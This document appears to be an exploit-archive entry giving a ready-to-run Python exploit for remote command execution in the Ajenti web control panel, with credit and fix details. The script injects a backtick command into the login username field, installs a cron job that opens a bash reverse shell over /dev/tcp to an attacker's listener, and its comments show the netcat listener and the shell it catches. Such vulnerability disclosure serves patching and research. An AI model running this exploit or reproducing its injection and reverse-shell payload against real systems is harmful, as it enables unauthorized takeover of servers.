Ajenti Remote Command Execution

2019.10.12
Credit: Jeremy Brown
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

#!/usr/bin/python # ajentix.py # # Ajenti Remote Command Execution Exploit # # Jeremy Brown [jbrown3264/gmail] @ Oct 2019 # # ------- # Details # ------- # # Ajenti is a web control panel written in Python and AngularJS. # # One can locally monitor executed commands on the server while testing # # $ sudo ./exec-notify (google for "exec-notify.c", modify output as needed) # sending proc connector: PROC_CN_MCAST_LISTEN... sent # Reading process events from proc connector. # Hit Ctrl-C to exit # # Browse over to https://server:8000/view/login/normal to login # # ..... # pid=9889 executed [/bin/sh -c /bin/su -c "/bin/echo SUCCESS" - test ] # pid=9889 executed [/bin/su -c /bin/echo SUCCESS - test ] # # Modified the JSON request username value to be `id` # # pid=7514 executed [/bin/sh -c /bin/su -c "/bin/echo SUCCESS" - `id` ] # pid=7516 executed [id ] # pid=7514 executed [/bin/su -c /bin/echo SUCCESS - uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) ] # # *ACK.....* # # Also the login routine times out after 5 seconds (see auth.py), which # makes an interactive shell relatively ephemeral. So, we cron job. # # $ python3 ajentix.py server.ip shell local-listener.ip # Done! # # $ nc -v -l -p 5555 # Listening on [0.0.0.0] (family 0, port 5555) # Connection from server.domain 41792 received! # bash: cannot set terminal process group (18628): Inappropriate ioctl for device # bash: no job control in this shell # nobody@server:/var/spool/cron$ ps # PID TTY TIME CMD # 6386 ? 00:00:00 /usr/local/bin/ <-- ajenti-panel worker # 18849 ? 00:00:00 sh # 18851 ? 00:00:00 bash # 18859 ? 00:00:00 ps # # # Tested Ajenti 2.1.31 on Ubuntu 18.04, fixed in 2.1.32 # # Fix commit: https://github.com/ajenti/ajenti/commit/7aa146b724e0e20cfee2c71ca78fafbf53a8767c # # import os import sys import ssl import json import urllib.request as request def main(): if(len(sys.argv) < 2): print("Usage: %s <host> [\"cmd\" or shell...ip]\n" % sys.argv[0]) print("Eg: %s 1.2.3.4 \"id\"" % sys.argv[0]) print("... %s 1.2.3.4 shell 5.6.7.8\n" % sys.argv[0]) return host = sys.argv[1] opt = sys.argv[2] if(opt == 'shell'): if(len(sys.argv) < 4): print("Error: need another arg for shell") return ip = sys.argv[3] shell = "`echo \"* * * * * bash -i >& /dev/tcp/" + ip + "/5555 0>&1\" > /tmp/cronx; crontab /tmp/cronx`" body = json.dumps({'username':shell, 'password':'test', 'mode':'normal'}) byte = body.encode('utf-8') url = "https://" + host + ":8000" + "/api/core/auth" try: req = request.Request(url) req.add_header('Content-Type', 'application/json; charset=utf-8') req.add_header('Content-Length', len(byte)) request.urlopen(req, byte, context=ssl._create_unverified_context()) # ignore the cert except Exception as error: print("Error: %s" % error) return print("Done!") if(__name__ == '__main__'): main()


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